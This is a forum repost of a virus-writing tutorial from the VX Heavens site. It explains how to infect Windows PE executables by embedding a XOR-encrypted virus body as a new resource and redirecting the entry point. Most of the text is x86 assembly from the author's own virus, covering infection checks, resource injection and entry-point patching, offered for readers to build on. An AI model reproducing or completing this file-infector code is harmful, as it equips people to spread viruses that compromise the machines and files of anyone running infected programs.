Nytro Posted May 8, 2011 Report Posted May 8, 2011 Infecting PE files by adding new resourceAuthor: Berniee/Fakedminded.IntroductionMaking a pe appender is done by various ways adding new section,increasinglast section or any other ways.Here I will explain infecting pe file by adding new resource which will contain ourcode.The infecting code is taken from my previous virus "fag".NOTE:May be the following is to some point is un-understandable for some ,becauseI tried to present the method as an idea and not as explaining it in depth! ..TheoryThe thing behind all this is getting the job (infection) by easiest way,may be there areother ways,but that was the easiest on for me as I started. The method use :BeginUpdateResource()UpdateResource()EndUpdateResource()which are all from kernel32.dll.GettingStartedFirst thing we will load the file by LoadLibrary function,so as to use FindReseource()to see if ourvirus is already there in that exe file.By checking the resource namewhich is is 123 type RT_RCDATA in this demonstartion ,if it was there we just abortinfection,you may find other ways to check for the virus infection use your imagination.-------------------CODE------------------nfkt_this:mov [ebp+offset v_file],eaxpush [ebp+offset v_file]call [ebp+offset ALoadLibraryF]or eax,eaxjz exit_nfktmov [ebp+offset bwr],eax ;note I used the variable bwr;so as not increasing no. of variables in usepush RT_RCDATApush 1234push [ebp+offset bwr]call [ebp+offset AFindResourceF];checking the virus presence,not found proceed infection.or eax,eaxjnz exit_nfkt-----------------END OF CODE--------------Then we we go on checking if it is pe! .After that we go and we make another check for resource by checking Res. Directoryaddress if it is zeroed or not(can be omitted since we already checked it by res. func)[cmp dword ptr [esi+136],0je exit_nfkt]Next we save image base and the old_eip(old entry point).Then FreeLibrary after getting the info. required (image base & entry point)-----------------CODE---------------------mov esi,dword ptr [ebp+offset bwr]cmp word ptr [esi],"ZM"jne exit_nfktadd esi,[esi+3ch]cmp word ptr [esi],"EP"jne exit_nfktcmp dword ptr [esi+136],0je exit_nfktmov eax,[esi+40]mov ebx,[esi+52]mov [ebp+offset image_base],ebxmov [ebp+offset old_eip],eaxpush [ebp+offset bwr]call [ebp+offset AFreeLibraryF]-----------------END OF CODE--------------.Pursuing InfectionNow After we checked the file has not been yet infected and after taking two variables(image base and old entrypoint).We continue in our goal infection by addinf new resource.The followinf functions have the major role:1-HANDLE BeginUpdateResource( LPCTSTR pFileName,BOOL bDeleteExistingResources);as you can see the function needs the name of file-->the victive fileand the other option is to tell us if we want all the resources to be deletedand replaced by ours or just add the new resources of ours,choose FLASEbecause we dont want to remove icon and other resources of that file.this functionwill return a handle that we save by pushing to stack inthe code below .2-BOOL UpdateResource(HANDLE hUpdate,LPCTSTR lpType,LPCTSTR lpName,WORD wLanguage,LPVOID lpData,DWORD cbData);Handle, our handle from BeginUpdateResourcelpType,RT_RCDATA that what we need no icons lpName,1234 the name you can choose whatever names you wantwLanguage,LANG_ENGLISHlpData,pointer to our virus bodycbData,size of our virus..3-BOOL EndUpdateResource(HANDLE hUpdate,BOOL fDiscard);handle,we just pop from the stack of the previous saved handle.fDiscard,we put it FALSE announcing the changing to be donesee next code.[ the following code has a simple xor encoder( "fag" virus ) ]-----------------CODE--------------------push vir_sizepush 0call dword ptr [ebp+offset AGlobalAllocF] ;allocate enough memory for our encrypted viror eax,eaxje exit_nfktmov [ebp+offset v_mem],eaxmov esi,offset Startadd esi,ebpmov edi,[ebp+offset v_mem]mov ecx,vir_sizerep movsbmov ecx,vir_sizesub ecx,stub_sizemov eax,[ebp+offset v_mem]add eax,stub_size_encrypt:xor byte ptr [eax],12 ;simple encryption by xorinc eaxloop _encryptpush FALSEpush [ebp+offset v_file]call dword ptr [ebp+offset ABeginUpdateResourceF] ;starting our res. based infection (see;above about the functions,which was;discussed)or eax,eaxjz exit_nfktpush eaxpush [ebp+offset v_mem]push LANG_ENGLISHpush 1234push RT_RCDATApush eaxcall dword ptr [ebp+offset AUpdateResourceF] ;adding the RT_RCDATA 1234 resourceor eax,eaxjz exit_nfktpop eaxpush FALSEpush eaxcall dword ptr [ebp+AEndUpdateResourceF] ;ending our resource updateor eax,eaxjz exit_nfkt-----------------END OF CODE--------------.Fixing EntryPointYou may have noticed that I didnt use epo in "fag" virus,so I had to change the old entrypoint .Here using a rather lame method:Opening the file and finding out where the hell our code goes and how many offsetsis it far from .res section physical offset to add .res section Virtual Address toits offset from it to get the new entry point.see code :-----------------CODE---------------------push 0push 0push 3push 0push 2hpush 40000000h or 80000000hpush [ebp+offset v_file]call dword ptr [ebp+offset ACreateFileF]or eax,eaxjz exitmov [ebp+offset v_filehandle],eaxpush 0push eaxcall dword ptr [ebp+offset AGetFileSizeF]or eax,eaxjz exit_nfktmov dword ptr [ebp+offset v_size ],eaxpush eaxpush 0call dword ptr [ebp+offset AGlobalAllocF]or eax,eaxjz exit_nfktmov dword ptr [ebp+offset v_mem],eaxpush 0mov eax,offset bwradd eax,ebppush eaxpush dword ptr [ebp+offset v_size]push dword ptr [ebp+offset v_mem]push dword ptr [ebp+offset v_filehandle]call dword ptr [ebp+offset AReadFileF]or eax,eaxjz exit_nfktmov esi,dword ptr [ebp+offset v_mem]cmp word ptr [esi],"ZM"jne exit_nfktadd esi,[esi+3ch]cmp word ptr [esi],"EP"jne exit_nfktpush esixor ecx,ecxxor ebx,ebxmov bx,word ptr [esi+20] ;ebx size of optional headermov cx,word ptr [esi+6] ;ecx no. of sectionsadd esi,24add esi,ebxxor ebx,ebxl00p_rsrc:cmp dword ptr [esi],"rsr."je found_rsrcadd esi,40loop l00p_rsrcjmp exit_nfktfound_rsrc:mov ecx,[esi+16]mov esi,[esi+20]add esi,[ebp+offset v_mem]push ecx-----------------END OF CODE--------------here take a break,see that I put a marker in virus body at the beginning(notice in original virus--with all its contents--)so I check this marker to know the offset of my virus body away fromfrom .res section begining.-----------------CODE---------------------l00p_marker:cmp word ptr [esi],'kcik'je here_virinc esiloop l00p_markerhere_vir:pop edxsub edx,ecxsub edx,2pop ediadd edx,dword ptr [edi+136]mov dword ptr [edi+40],edx ;new entry pointpush 0push 0push FILE_BEGINpush dword ptr [ebp+offset v_filehandle]call dword ptr [ebp+offset ASetFilePointerF]push 0mov eax,offset bwradd eax,ebppush eaxpush dword ptr [ebp+offset v_size]push dword ptr [ebp+offset v_mem]push dword ptr [ebp+offset v_filehandle]call dword ptr [ebp+offset AWriteFileF]retexit_nfkt:-----------------END OF CODE--------------Now what we all need is to take the old entry point and add image base to itand jmp to it.I left other things like getting kernel base and other needed functionsbecause as I said I only wanted to present the method of infection and the otherthings are left to be done by you..FinalWordsIf you you have any comments feedbacks or curses just contacting me through eof-projectsite or throught my site ,If you ever felt this method is lame or unworthy reading !just forget about it and move on in your coding life and dont blame me of the time youand me wasted,and remember shitting also take time from your life :\ .Note :: Recently I have found some bugs regarding fag-virus,so the above tutorial representidea rather than copy-paste code...Sursa: Infecting PE files by adding new resource(Paper) (Page 1) - Books and papers - VX Heavens forum Quote